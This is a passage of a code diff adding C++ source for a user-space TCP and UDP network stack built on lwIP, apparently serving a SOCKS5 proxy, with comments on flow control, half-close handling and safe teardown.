finish_connect(lwip_error(err));
|
||||
return;
|
||||
}
|
||||
|
||||
// tcp_connect fills both in from the pinned netif (it consults netif_idx for
|
||||
// the route *and* for the source address), so this is already final.
|
||||
local_ = endpoint_from(&pcb_->local_ip, pcb_->local_port);
|
||||
remote_ = Endpoint(addr, port);
|
||||
|
||||
if (timeout.count() > 0) {
|
||||
timer_.expires_after(timeout);
|
||||
auto self = shared_from_this();
|
||||
timer_.async_wait([self](const std::error_code &ec) {
|
||||
if (ec || !self->connecting_) return;
|
||||
LOG_DEBUG(kMod, "{}: connect to {} timed out", self->netif_->label(),
|
||||
self->remote_.to_string());
|
||||
self->netif_->note_tcp_opened(false);
|
||||
self->detach_pcb(/*graceful=*/false);
|
||||
self->finish_connect(make_error_code(Error::Timeout));
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
void LwipTcpStream::finish_connect(const std::error_code &ec) {
|
||||
if (!connecting_) return;
|
||||
connecting_ = false;
|
||||
timer_.cancel();
|
||||
if (!ec) {
|
||||
open_.store(true, std::memory_order_release);
|
||||
counted_open_ = true;
|
||||
netif_->note_tcp_opened(true);
|
||||
} else {
|
||||
fatal_ = ec;
|
||||
}
|
||||
if (connect_h_) {
|
||||
// Straight to the caller's executor: Netif::async_connect_tcp already
|
||||
// arranged for the public handler to be posted from there.
|
||||
auto h = std::move(connect_h_);
|
||||
connect_h_ = nullptr;
|
||||
h(ec);
|
||||
}
|
||||
}
|
||||
|
||||
int8_t LwipTcpStream::s_connected(void *arg, tcp_pcb *pcb, int8_t err) {
|
||||
auto *self = static_cast<LwipTcpStream *>(arg);
|
||||
if (self == nullptr) return ERR_OK;
|
||||
if (err != ERR_OK) {
|
||||
self->netif_->note_tcp_opened(false);
|
||||
self->detach_pcb(/*graceful=*/false);
|
||||
self->finish_connect(lwip_error(err));
|
||||
return ERR_OK;
|
||||
}
|
||||
self->local_ = endpoint_from(&pcb->local_ip, pcb->local_port);
|
||||
LOG_TRACE(kMod, "{}: connected {} -> {}", self->netif_->label(),
|
||||
self->local_.to_string(), self->remote_.to_string());
|
||||
self->finish_connect({});
|
||||
return ERR_OK;
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Receive
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
int8_t LwipTcpStream::s_recv(void *arg, tcp_pcb *pcb, pbuf *p, int8_t err) {
|
||||
auto *self = static_cast<LwipTcpStream *>(arg);
|
||||
if (self == nullptr) {
|
||||
// The stream detached but lwIP still had this pcb. Consume and move on.
|
||||
if (p != nullptr) {
|
||||
tcp_recved(pcb, p->tot_len);
|
||||
pbuf_free(p);
|
||||
}
|
||||
return ERR_OK;
|
||||
}
|
||||
|
||||
if (err != ERR_OK) {
|
||||
if (p != nullptr) pbuf_free(p);
|
||||
self->fail(lwip_error(err));
|
||||
return ERR_OK;
|
||||
}
|
||||
|
||||
if (p == nullptr) {
|
||||
// Peer sent FIN. Not an error: the send direction may still be open, and
|
||||
// truncating it here is precisely the half-close bug this design avoids.
|
||||
self->rx_eof_ = true;
|
||||
self->pump_reader();
|
||||
return ERR_OK;
|
||||
}
|
||||
|
||||
self->rx_.fetch_add(p->tot_len, std::memory_order_relaxed);
|
||||
self->queued_bytes_ += p->tot_len;
|
||||
self->queue_.push_back(p);
|
||||
// Deliberately no tcp_recved() here. The window stays closed until the
|
||||
// consumer takes the bytes -- see the header comment.
|
||||
self->pump_reader();
|
||||
return ERR_OK;
|
||||
}
|
||||
|
||||
void LwipTcpStream::async_read_some(asio::mutable_buffer buf, ReadHandler h) {
|
||||
auto self = shared_from_this();
|
||||
asio::post(strand_,
|
||||
[self, buf, h = std::move(h)]() mutable {
|
||||
self->do_read(buf, std::move(h));
|
||||
});
|
||||
}
|
||||
|
||||
void LwipTcpStream::do_read(asio::mutable_buffer buf, ReadHandler h) {
|
||||
if (read_h_) {
|
||||
LOG_ERROR(kMod, "{}: overlapping async_read_some on {}",
|
||||
netif_ ? netif_->label() : "?",
|
||||
remote_.to_string());
|
||||
complete_read_with(std::move(h), make_error_code(Error::Internal), 0);
|
||||
return;
|
||||
}
|
||||
if (buf.size() == 0) {
|
||||
complete_read_with(std::move(h), {}, 0);
|
||||
return;
|
||||
}
|
||||
read_buf_ = buf;
|
||||
read_h_ = std::move(h);
|
||||
pump_reader();
|
||||
}
|
||||
|
||||
void LwipTcpStream::pump_reader() {
|
||||
if (!read_h_) return;
|
||||
|
||||
if (!queue_.empty()) {
|
||||
auto *dst = static_cast<uint8_t *>(read_buf_.data());
|
||||
const size_t want = read_buf_.size();
|
||||
size_t copied = 0;
|
||||
|
||||
while (copied < want && !queue_.empty()) {
|
||||
pbuf *p = queue_.front();
|
||||
const size_t avail = p->tot_len - queue_offset_;
|
||||
const size_t take = std::min(avail, want - copied);
|
||||
pbuf_copy_partial(p, dst + copied, static_cast<u16_t>(take),
|
||||
static_cast<u16_t>(queue_offset_));
|
||||
copied += take;
|
||||
queue_offset_ += take;
|
||||
if (queue_offset_ >= p->tot_len) {
|
||||
queue_.pop_front();
|
||||
queue_offset_ = 0;
|
||||
pbuf_free(p);
|
||||
}
|
||||
}
|
||||
queued_bytes_ -= copied;
|
||||
|
||||
// Now, and only now, does the window reopen -- by exactly what was
|
||||
// consumed. This is the backpressure that keeps a slow SOCKS5 client from
|
||||
// turning into unbounded heap on our side.
|
||||
if (pcb_ != nullptr && copied > 0) recved(pcb_, copied);
|
||||
|
||||
complete_read({}, copied);
|
||||
return;
|
||||
}
|
||||
|
||||
if (fatal_) {
|
||||
complete_read(fatal_, 0);
|
||||
return;
|
||||
}
|
||||
if (rx_eof_) {
|
||||
complete_read(asio::error::eof, 0);
|
||||
return;
|
||||
}
|
||||
// Nothing yet; s_recv will call back in.
|
||||
}
|
||||
|
||||
void LwipTcpStream::complete_read(const std::error_code &ec, size_t n) {
|
||||
if (!read_h_) return;
|
||||
auto h = std::move(read_h_);
|
||||
read_h_ = nullptr;
|
||||
read_buf_ = asio::mutable_buffer();
|
||||
complete_read_with(std::move(h), ec, n);
|
||||
}
|
||||
|
||||
void LwipTcpStream::complete_read_with(ReadHandler h, const std::error_code &ec,
|
||||
size_t n) {
|
||||
asio::post(cb_ex_, [h = std::move(h), ec, n] { h(ec, n); });
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Send
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
void LwipTcpStream::async_write(asio::const_buffer buf, WriteHandler h) {
|
||||
auto self = shared_from_this();
|
||||
asio::post(strand_,
|
||||
[self, buf, h = std::move(h)]() mutable {
|
||||
self->do_write(buf, std::move(h));
|
||||
});
|
||||
}
|
||||
|
||||
void LwipTcpStream::do_write(asio::const_buffer buf, WriteHandler h) {
|
||||
if (write_h_) {
|
||||
LOG_ERROR(kMod, "{}: overlapping async_write on {}",
|
||||
netif_ ? netif_->label() : "?",
|
||||
remote_.to_string());
|
||||
complete_write_with(std::move(h), make_error_code(Error::Internal), 0);
|
||||
return;
|
||||
}
|
||||
if (fatal_) {
|
||||
complete_write_with(std::move(h), fatal_, 0);
|
||||
return;
|
||||
}
|
||||
if (pcb_ == nullptr || tx_shutdown_) {
|
||||
complete_write_with(std::move(h),
|
||||
std::make_error_code(std::errc::broken_pipe), 0);
|
||||
return;
|
||||
}
|
||||
if (buf.size() == 0) {
|
||||
complete_write_with(std::move(h), {}, 0);
|
||||
return;
|
||||
}
|
||||
|
||||
write_data_ = static_cast<const uint8_t *>(buf.data());
|
||||
write_len_ = buf.size();
|
||||
write_done_ = 0;
|
||||
write_h_ = std::move(h);
|
||||
pump_writer();
|
||||
}
|
||||
|
||||
void LwipTcpStream::pump_writer() {
|
||||
if (!write_h_ || pcb_ == nullptr) return;
|
||||
|
||||
bool wrote_anything = false;
|
||||
while (write_done_ < write_len_) {
|
||||
const size_t remaining = write_len_ - write_done_;
|
||||
const u16_t room = tcp_sndbuf(pcb_);
|
||||
if (room == 0) break;
|
||||
|
||||
const u16_t chunk =
|
||||
static_cast<u16_t>(std::min<size_t>(remaining, room));
|
||||
// TCP_WRITE_FLAG_COPY is mandatory, not an optimization choice: lwIP holds
|
||||
// the bytes until they are acknowledged, which is strictly after our
|
||||
// completion handler runs and therefore after the caller is entitled to
|
||||
// reuse the buffer.
|
||||
u8_t flags = TCP_WRITE_FLAG_COPY;
|
||||
if (chunk < remaining) flags |= TCP_WRITE_FLAG_MORE;
|
||||
|
||||
const err_t err = tcp_write(pcb_, write_data_ + write_done_, chunk, flags);
|
||||
if (err == ERR_MEM) break; // retried from s_sent / s_poll
|
||||
if (err != ERR_OK) {
|
||||
fail(lwip_error(err));
|
||||
return;
|
||||
}
|
||||
write_done_ += chunk;
|
||||
wrote_anything = true;
|
||||
}
|
||||
|
||||
if (wrote_anything) {
|
||||
const err_t err = tcp_output(pcb_);
|
||||
if (err != ERR_OK && err != ERR_MEM) {
|
||||
fail(lwip_error(err));
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
if (write_done_ >= write_len_) {
|
||||
tx_.fetch_add(write_len_, std::memory_order_relaxed);
|
||||
complete_write({}, write_len_);
|
||||
}
|
||||
}
|
||||
|
||||
void LwipTcpStream::complete_write(const std::error_code &ec, size_t n) {
|
||||
if (!write_h_) return;
|
||||
auto h = std::move(write_h_);
|
||||
write_h_ = nullptr;
|
||||
write_data_ = nullptr;
|
||||
write_len_ = 0;
|
||||
write_done_ = 0;
|
||||
complete_write_with(std::move(h), ec, n);
|
||||
}
|
||||
|
||||
void LwipTcpStream::complete_write_with(WriteHandler h,
|
||||
const std::error_code &ec, size_t n) {
|
||||
asio::post(cb_ex_, [h = std::move(h), ec, n] { h(ec, n); });
|
||||
}
|
||||
|
||||
int8_t LwipTcpStream::s_sent(void *arg, tcp_pcb *, uint16_t) {
|
||||
auto *self = static_cast<LwipTcpStream *>(arg);
|
||||
if (self == nullptr) return ERR_OK;
|
||||
self->pump_writer();
|
||||
self->retry_shutdown();
|
||||
return ERR_OK;
|
||||
}
|
||||
|
||||
int8_t LwipTcpStream::s_poll(void *arg, tcp_pcb *) {
|
||||
auto *self = static_cast<LwipTcpStream *>(arg);
|
||||
if (self == nullptr) return ERR_OK;
|
||||
// The safety net: if an ACK went missing, s_sent never fires and a partially
|
||||
// written buffer would hang until the idle timeout. One retry per second
|
||||
// costs nothing and removes a whole class of stall.
|
||||
self->pump_writer();
|
||||
self->retry_shutdown();
|
||||
return ERR_OK;
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Shutdown / teardown
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
void LwipTcpStream::shutdown_send() {
|
||||
auto self = shared_from_this();
|
||||
asio::post(strand_, [self] { self->do_shutdown_send(); });
|
||||
}
|
||||
|
||||
void LwipTcpStream::do_shutdown_send() {
|
||||
if (tx_shutdown_ || pcb_ == nullptr) return;
|
||||
tx_shutdown_ = true;
|
||||
tx_shutdown_pending_ = true;
|
||||
retry_shutdown();
|
||||
}
|
||||
|
||||
void LwipTcpStream::retry_shutdown() {
|
||||
if (!tx_shutdown_pending_ || pcb_ == nullptr) return;
|
||||
// Only once the caller's last write has drained: sending FIN with bytes still
|
||||
// queued in *our* buffer would lose them.
|
||||
if (write_h_ && write_done_ < write_len_) return;
|
||||
|
||||
const err_t err = tcp_shutdown(pcb_, 0, 1);
|
||||
if (err == ERR_MEM) return; // no segment available; try again from poll
|
||||
tx_shutdown_pending_ = false;
|
||||
if (err != ERR_OK) fail(lwip_error(err));
|
||||
}
|
||||
|
||||
void LwipTcpStream::close() {
|
||||
auto self = shared_from_this();
|
||||
asio::post(strand_, [self] { self->do_close(false); });
|
||||
}
|
||||
|
||||
void LwipTcpStream::do_close(bool graceful_hint) {
|
||||
if (closing_) return;
|
||||
closing_ = true;
|
||||
open_.store(false, std::memory_order_release);
|
||||
if (counted_open_ && netif_) {
|
||||
netif_->note_tcp_closed();
|
||||
counted_open_ = false;
|
||||
}
|
||||
// Graceful only when there is genuinely nothing left in flight. Anything else
|
||||
// gets a RST, which is the honest signal that we are abandoning the
|
||||
// connection rather than pretending it ended cleanly.
|
||||
const bool graceful =
|
||||
graceful_hint || (rx_eof_ && queue_.empty() && !write_h_);
|
||||
detach_pcb(graceful);
|
||||
drop_queued();
|
||||
|
||||
const auto ec = make_error_code(Error::Cancelled);
|
||||
complete_read(ec, 0);
|
||||
complete_write(ec, write_done_);
|
||||
if (connecting_) finish_connect(ec);
|
||||
}
|
||||
|
||||
void LwipTcpStream::abort_from_netif(const std::error_code &reason) {
|
||||
if (!closing_) {
|
||||
closing_ = true;
|
||||
open_.store(false, std::memory_order_release);
|
||||
if (counted_open_ && netif_) {
|
||||
netif_->note_tcp_closed();
|
||||
counted_open_ = false;
|
||||
}
|
||||
// The netif is being removed out from under the PCB, so there is no
|
||||
// graceful option: lwIP must not be left holding a pcb bound to a netif
|
||||
// that no longer exists.
|
||||
detach_pcb(/*graceful=*/false);
|
||||
drop_queued();
|
||||
fatal_ = reason;
|
||||
complete_read(reason, 0);
|
||||
complete_write(reason, write_done_);
|
||||
if (connecting_) finish_connect(reason);
|
||||
}
|
||||
timer_.cancel();
|
||||
// Release the netif so it can finish being destroyed; the caller may still
|
||||
// hold this stream, which from here on reports a closed connection.
|
||||
netif_.reset();
|
||||
}
|
||||
|
||||
void LwipTcpStream::fail(const std::error_code &ec) {
|
||||
if (fatal_) return;
|
||||
fatal_ = ec;
|
||||
open_.store(false, std::memory_order_release);
|
||||
if (counted_open_ && netif_) {
|
||||
netif_->note_tcp_closed();
|
||||
counted_open_ = false;
|
||||
}
|
||||
|
||||
if (connecting_) {
|
||||
if (netif_) netif_->note_tcp_opened(false);
|
||||
detach_pcb(/*graceful=*/false);
|
||||
finish_connect(ec);
|
||||
return;
|
||||
}
|
||||
// Data already received stays readable: a reset after a complete response is
|
||||
// common, and discarding what we hold would corrupt it. The error surfaces
|
||||
// once the queue is drained.
|
||||
if (read_h_ && queue_.empty()) complete_read(ec, 0);
|
||||
complete_write(ec, write_done_);
|
||||
}
|
||||
|
||||
void LwipTcpStream::s_err(void *arg, int8_t err) {
|
||||
auto *self = static_cast<LwipTcpStream *>(arg);
|
||||
if (self == nullptr) return;
|
||||
// lwIP has already freed the pcb. Touching it here is a use-after-free, which
|
||||
// is why this is the one path that clears pcb_ without detaching.
|
||||
self->pcb_ = nullptr;
|
||||
std::error_code ec = lwip_error(err);
|
||||
if (err == ERR_RST && !self->connecting_)
|
||||
ec = std::make_error_code(std::errc::connection_reset);
|
||||
LOG_TRACE(kMod, "{}: connection to {} failed: {}",
|
||||
self->netif_ ? self->netif_->label() : "?",
|
||||
self->remote_.to_string(), ec.message());
|
||||
self->fail(ec);
|
||||
}
|
||||
|
||||
void LwipTcpStream::detach_pcb(bool graceful) {
|
||||
if (pcb_ == nullptr) return;
|
||||
tcp_pcb *p = pcb_;
|
||||
pcb_ = nullptr;
|
||||
|
||||
// Clear every callback before letting go: lwIP may keep the pcb alive through
|
||||
// FIN_WAIT/TIME_WAIT, and a callback arriving after we are gone would be a
|
||||
// use-after-free.
|
||||
tcp_arg(p, nullptr);
|
||||
tcp_recv(p, nullptr);
|
||||
tcp_sent(p, nullptr);
|
||||
tcp_err(p, nullptr);
|
||||
tcp_poll(p, nullptr, 0);
|
||||
|
||||
if (graceful) {
|
||||
if (tcp_close(p) != ERR_OK) tcp_abort(p);
|
||||
} else {
|
||||
tcp_abort(p);
|
||||
}
|
||||
}
|
||||
|
||||
void LwipTcpStream::drop_queued() {
|
||||
for (pbuf *p : queue_) pbuf_free(p);
|
||||
queue_.clear();
|
||||
queue_offset_ = 0;
|
||||
queued_bytes_ = 0;
|
||||
}
|
||||
|
||||
Endpoint LwipTcpStream::local_endpoint() const { return local_; }
|
||||
Endpoint LwipTcpStream::remote_endpoint() const { return remote_; }
|
||||
|
||||
} // namespace ovg::netstack
|
||||
@@ -0,0 +1,158 @@
|
||||
// TcpStream over an lwIP PCB.
|
||||
//
|
||||
// Flow control is the whole point of this file, so it is worth being explicit
|
||||
// about the two halves.
|
||||
//
|
||||
// Receive: lwIP hands us a pbuf and asks us to acknowledge it. We queue it and
|
||||
// say nothing. The window only reopens when the SOCKS5 side has actually copied
|
||||
// bytes out and we call tcp_recved() for exactly that many. A slow client
|
||||
// therefore closes the window on the server, and the backlog lives in the
|
||||
// server's send buffer rather than in our heap. The obvious alternative --
|
||||
// acknowledge on arrival, buffer internally -- turns 1000 slow clients into
|
||||
// unbounded memory growth, which is how proxies die.
|
||||
//
|
||||
// Send: tcp_write() takes what fits in tcp_sndbuf() and no more. The remainder
|
||||
// waits for the "sent" callback (peer ACKed, buffer freed) and is retried
|
||||
// there, and again from the poll callback so a lost ACK cannot wedge a write
|
||||
// forever. async_write completes when the last byte has been *accepted by
|
||||
// lwIP*, not when it has been acknowledged -- matching what asio's
|
||||
// async_write does over a kernel socket.
|
||||
//
|
||||
// Everything below runs on Stack::strand(). The public methods post to it; the
|
||||
// completion handlers post back out to the caller's executor.
|
||||
#pragma once
|
||||
|
||||
#include <asio.hpp>
|
||||
|
||||
#include <atomic>
|
||||
#include <cstdint>
|
||||
#include <deque>
|
||||
#include <memory>
|
||||
#include <system_error>
|
||||
|
||||
#include "common/config.h"
|
||||
#include "netstack/lwip_stack.h"
|
||||
#include "netstack/stream.h"
|
||||
|
||||
struct tcp_pcb;
|
||||
struct pbuf;
|
||||
|
||||
namespace ovg::netstack {
|
||||
|
||||
class LwipTcpStream final : public TcpStream,
|
||||
public Closable,
|
||||
public std::enable_shared_from_this<LwipTcpStream> {
|
||||
public:
|
||||
// Destruction is posted to the strand (see stream.h), which is what makes it
|
||||
// safe for lwIP callbacks to hold a raw `this`: a callback and the destructor
|
||||
// can never overlap.
|
||||
static std::shared_ptr<LwipTcpStream> create(std::shared_ptr<Netif> netif,
|
||||
asio::any_io_executor cb_ex);
|
||||
~LwipTcpStream() override;
|
||||
|
||||
LwipTcpStream(const LwipTcpStream &) = delete;
|
||||
LwipTcpStream &operator=(const LwipTcpStream &) = delete;
|
||||
|
||||
// TcpStream
|
||||
void async_read_some(asio::mutable_buffer buf, ReadHandler h) override;
|
||||
void async_write(asio::const_buffer buf, WriteHandler h) override;
|
||||
void shutdown_send() override;
|
||||
void close() override;
|
||||
bool is_open() const override { return open_.load(std::memory_order_acquire); }
|
||||
Endpoint local_endpoint() const override;
|
||||
Endpoint remote_endpoint() const override;
|
||||
uint64_t bytes_written() const override {
|
||||
return tx_.load(std::memory_order_relaxed);
|
||||
}
|
||||
uint64_t bytes_read() const override {
|
||||
return rx_.load(std::memory_order_relaxed);
|
||||
}
|
||||
|
||||
// Closable
|
||||
void abort_from_netif(const std::error_code &reason) override;
|
||||
|
||||
private:
|
||||
friend class Netif;
|
||||
|
||||
LwipTcpStream(std::shared_ptr<Netif> netif, asio::any_io_executor cb_ex);
|
||||
|
||||
using ConnectHandler = std::function<void(const std::error_code &)>;
|
||||
|
||||
// Strand-only. Called by Netif::async_connect_tcp.
|
||||
void start_connect(const IpAddress &addr, uint16_t port, Millis timeout,
|
||||
ConnectHandler h);
|
||||
|
||||
// lwIP callbacks. `arg` is the raw stream pointer.
|
||||
static int8_t s_connected(void *arg, tcp_pcb *pcb, int8_t err);
|
||||
static int8_t s_recv(void *arg, tcp_pcb *pcb, pbuf *p, int8_t err);
|
||||
static int8_t s_sent(void *arg, tcp_pcb *pcb, uint16_t len);
|
||||
static int8_t s_poll(void *arg, tcp_pcb *pcb);
|
||||
static void s_err(void *arg, int8_t err);
|
||||
|
||||
// Strand-only internals.
|
||||
void do_read(asio::mutable_buffer buf, ReadHandler h);
|
||||
void do_write(asio::const_buffer buf, WriteHandler h);
|
||||
void do_shutdown_send();
|
||||
void do_close(bool graceful_hint);
|
||||
void pump_reader();
|
||||
void pump_writer();
|
||||
void fail(const std::error_code &ec);
|
||||
void detach_pcb(bool graceful);
|
||||
void drop_queued();
|
||||
void finish_connect(const std::error_code &ec);
|
||||
void retry_shutdown();
|
||||
|
||||
// Complete the *pending* operation, clearing its slot first so that a handler
|
||||
// which immediately issues the next read/write does not see it still full.
|
||||
void complete_read(const std::error_code &ec, size_t n);
|
||||
void complete_write(const std::error_code &ec, size_t n);
|
||||
|
||||
// Post an arbitrary handler to cb_ex_. Used for the paths that reject an
|
||||
// operation outright, where there is no pending slot to clear.
|
||||
void complete_read_with(ReadHandler h, const std::error_code &ec, size_t n);
|
||||
void complete_write_with(WriteHandler h, const std::error_code &ec, size_t n);
|
||||
|
||||
// netif_ is released by abort_from_netif() while the caller may still hold
|
||||
// this stream, so nothing outside the strand may reach through it. The strand
|
||||
// is therefore kept by value: it belongs to the io_context, not to the netif,
|
||||
// and stays usable for as long as this object can be called at all.
|
||||
std::shared_ptr<Netif> netif_;
|
||||
Strand strand_;
|
||||
asio::any_io_executor cb_ex_;
|
||||
asio::steady_timer timer_;
|
||||
|
||||
tcp_pcb *pcb_ = nullptr;
|
||||
|
||||
// Received but not yet copied out. Owned: freed after the copy.
|
||||
std::deque<pbuf *> queue_;
|
||||
size_t queue_offset_ = 0; // consumed bytes in queue_.front()
|
||||
size_t queued_bytes_ = 0;
|
||||
|
||||
bool rx_eof_ = false;
|
||||
bool tx_shutdown_ = false;
|
||||
bool tx_shutdown_pending_ = false; // tcp_shutdown returned ERR_MEM; retry
|
||||
bool closing_ = false;
|
||||
std::error_code fatal_;
|
||||
|
||||
ConnectHandler connect_h_;
|
||||
bool connecting_ = false;
|
||||
|
||||
ReadHandler read_h_;
|
||||
asio::mutable_buffer read_buf_;
|
||||
|
||||
WriteHandler write_h_;
|
||||
const uint8_t *write_data_ = nullptr;
|
||||
size_t write_len_ = 0;
|
||||
size_t write_done_ = 0;
|
||||
|
||||
// Written once on the strand before the stream is handed to the caller.
|
||||
Endpoint local_;
|
||||
Endpoint remote_;
|
||||
|
||||
std::atomic<bool> open_{false};
|
||||
std::atomic<uint64_t> tx_{0};
|
||||
std::atomic<uint64_t> rx_{0};
|
||||
bool counted_open_ = false;
|
||||
};
|
||||
|
||||
} // namespace ovg::netstack
|
||||
@@ -0,0 +1,304 @@
|
||||
#include "netstack/lwip_udp.h"
|
||||
|
||||
#include <algorithm>
|
||||
#include <cstring>
|
||||
#include <type_traits>
|
||||
#include <vector>
|
||||
|
||||
#include "common/error.h"
|
||||
#include "common/logging.h"
|
||||
|
||||
extern "C" {
|
||||
#include "lwip/ip_addr.h"
|
||||
#include "lwip/netif.h"
|
||||
#include "lwip/pbuf.h"
|
||||
#include "lwip/udp.h"
|
||||
}
|
||||
|
||||
// The forward declaration in lwip_udp.h that lets s_recv match udp_recv_fn
|
||||
// without a cast. If someone ever turns LWIP_IPV6 on, this fires here rather
|
||||
// than as a confusing incompatible-function-pointer error.
|
||||
static_assert(std::is_same_v<ip_addr_t, ip4_addr_t>,
|
||||
"netstack is IPv4-only; see netstack/lwip_port/lwipopts.h");
|
||||
|
||||
namespace ovg::netstack {
|
||||
namespace {
|
||||
|
||||
constexpr const char *kMod = "netstack";
|
||||
|
||||
// Datagrams held for a reader that has not asked yet. Sized for the two real
|
||||
// consumers: a resolver has at most a handful of queries in flight, and a
|
||||
// SOCKS5 UDP association that falls this far behind is losing traffic to its
|
||||
// own client anyway. Beyond this we tail-drop -- see the header.
|
||||
constexpr size_t kMaxQueued = 64;
|
||||
|
||||
} // namespace
|
||||
|
||||
std::shared_ptr<LwipUdpSocket> LwipUdpSocket::create(
|
||||
std::shared_ptr<Netif> netif, asio::any_io_executor cb_ex) {
|
||||
Strand strand = netif->stack().strand();
|
||||
return std::shared_ptr<LwipUdpSocket>(
|
||||
new LwipUdpSocket(std::move(netif), std::move(cb_ex)),
|
||||
detail::StrandDeleter<LwipUdpSocket>{strand});
|
||||
}
|
||||
|
||||
LwipUdpSocket::LwipUdpSocket(std::shared_ptr<Netif> netif,
|
||||
asio::any_io_executor cb_ex)
|
||||
: netif_(std::move(netif)),
|
||||
strand_(netif_->stack().strand()),
|
||||
cb_ex_(std::move(cb_ex)) {}
|
||||
|
||||
LwipUdpSocket::~LwipUdpSocket() {
|
||||
// On the strand (StrandDeleter), so s_recv cannot be running against us.
|
||||
if (counted_ && netif_) netif_->note_udp(-1);
|
||||
if (pcb_ != nullptr) {
|
||||
udp_recv(pcb_, nullptr, nullptr);
|
||||
udp_remove(pcb_);
|
||||
pcb_ = nullptr;
|
||||
}
|
||||
drop_queued();
|
||||
if (recv_h_) {
|
||||
const auto ec = make_error_code(Error::Cancelled);
|
||||
asio::post(cb_ex_, [h = std::move(recv_h_), ec] { h(ec, 0, Endpoint{}); });
|
||||
}
|
||||
}
|
||||
|
||||
std::error_code LwipUdpSocket::bind_ephemeral() {
|
||||
struct netif *nif = netif_->lwip_netif();
|
||||
if (nif == nullptr) return make_error_code(Error::EgressGone);
|
||||
|
||||
pcb_ = udp_new_ip_type(IPADDR_TYPE_V4);
|
||||
if (pcb_ == nullptr) return make_error_code(Error::ResourceExhausted);
|
||||
|
||||
// Same pin as the TCP path, and for the same reason -- except that here it
|
||||
// also drives *inbound* demultiplexing, not just the outbound route.
|
||||
udp_bind_netif(pcb_, nif);
|
||||
|
||||
ip_addr_t local{};
|
||||
ip_addr_set_ip4_u32(&local, lwip_htonl(netif_->address().v4_host_order()));
|
||||
|
||||
// Port 0: lwIP allocates from its ephemeral range.
|
||||
const err_t err = udp_bind(pcb_, &local, 0);
|
||||
if (err != ERR_OK) {
|
||||
udp_remove(pcb_);
|
||||
pcb_ = nullptr;
|
||||
return lwip_error(err);
|
||||
}
|
||||
|
||||
udp_recv(pcb_, &LwipUdpSocket::s_recv, this);
|
||||
local_ = Endpoint(netif_->address(), pcb_->local_port);
|
||||
open_.store(true, std::memory_order_release);
|
||||
netif_->note_udp(+1);
|
||||
counted_ = true;
|
||||
|
||||
LOG_TRACE(kMod, "{}: udp socket bound to {}", netif_->label(),
|
||||
local_.to_string());
|
||||
return {};
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Receive
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
void LwipUdpSocket::s_recv(void *arg, udp_pcb *, pbuf *p, const ip4_addr *addr,
|
||||
uint16_t port) {
|
||||
auto *self = static_cast<LwipUdpSocket *>(arg);
|
||||
if (self == nullptr || p == nullptr) {
|
||||
if (p != nullptr) pbuf_free(p);
|
||||
return;
|
||||
}
|
||||
IpAddress from;
|
||||
if (addr != nullptr) from = IpAddress::from_v4(lwip_ntohl(addr->addr));
|
||||
self->on_datagram(p, from, port);
|
||||
}
|
||||
|
||||
void LwipUdpSocket::on_datagram(pbuf *p, const IpAddress &from, uint16_t port) {
|
||||
if (closing_) {
|
||||
pbuf_free(p);
|
||||
return;
|
||||
}
|
||||
if (queue_.size() >= kMaxQueued) {
|
||||
// Tail-drop. Dropping the newest rather than the oldest keeps whatever the
|
||||
// reader is about to consume, and matches a full SO_RCVBUF.
|
||||
pbuf_free(p);
|
||||
const uint64_t n = drops_.fetch_add(1, std::memory_order_relaxed) + 1;
|
||||
if (n == 1 || n % 256 == 0) {
|
||||
LOG_WARN(kMod, "{}: udp {} receive queue full, dropped {} datagram(s)",
|
||||
netif_ ? netif_->label() : "?", local_.to_string(), n);
|
||||
}
|
||||
return;
|
||||
}
|
||||
queue_.push_back(Datagram{p, Endpoint(from, port)});
|
||||
pump_reader();
|
||||
}
|
||||
|
||||
void LwipUdpSocket::async_receive_from(asio::mutable_buffer buf,
|
||||
RecvHandler h) {
|
||||
auto self = shared_from_this();
|
||||
asio::post(strand_, [self, buf, h = std::move(h)]() mutable {
|
||||
self->do_receive(buf, std::move(h));
|
||||
});
|
||||
}
|
||||
|
||||
void LwipUdpSocket::do_receive(asio::mutable_buffer buf, RecvHandler h) {
|
||||
if (recv_h_) {
|
||||
LOG_ERROR(kMod, "{}: overlapping async_receive_from on {}",
|
||||
netif_ ? netif_->label() : "?", local_.to_string());
|
||||
asio::post(cb_ex_, [h = std::move(h)] {
|
||||
h(make_error_code(Error::Internal), 0, Endpoint{});
|
||||
});
|
||||
return;
|
||||
}
|
||||
recv_buf_ = buf;
|
||||
recv_h_ = std::move(h);
|
||||
pump_reader();
|
||||
}
|
||||
|
||||
void LwipUdpSocket::pump_reader() {
|
||||
if (!recv_h_) return;
|
||||
|
||||
if (!queue_.empty()) {
|
||||
Datagram d = queue_.front();
|
||||
queue_.pop_front();
|
||||
|
||||
// Truncate like recvfrom(2): the tail of an oversized datagram is lost and
|
||||
// the caller is told how much it got. Silently returning a short read that
|
||||
// looks complete would be worse.
|
||||
const size_t take = std::min<size_t>(d.buf->tot_len, recv_buf_.size());
|
||||
if (take > 0) {
|
||||
pbuf_copy_partial(d.buf, recv_buf_.data(), static_cast<u16_t>(take), 0);
|
||||
}
|
||||
if (d.buf->tot_len > take) {
|
||||
LOG_TRACE(kMod, "{}: truncated a {}-byte datagram from {} to {}",
|
||||
netif_ ? netif_->label() : "?", d.buf->tot_len,
|
||||
d.from.to_string(), take);
|
||||
}
|
||||
pbuf_free(d.buf);
|
||||
complete_recv({}, take, d.from);
|
||||
return;
|
||||
}
|
||||
|
||||
if (fatal_) complete_recv(fatal_, 0, Endpoint{});
|
||||
// Otherwise wait: s_recv will call back in.
|
||||
}
|
||||
|
||||
void LwipUdpSocket::complete_recv(const std::error_code &ec, size_t n,
|
||||
const Endpoint &from) {
|
||||
if (!recv_h_) return;
|
||||
auto h = std::move(recv_h_);
|
||||
recv_h_ = nullptr;
|
||||
recv_buf_ = asio::mutable_buffer();
|
||||
asio::post(cb_ex_, [h = std::move(h), ec, n, from] { h(ec, n, from); });
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Send
|
||||
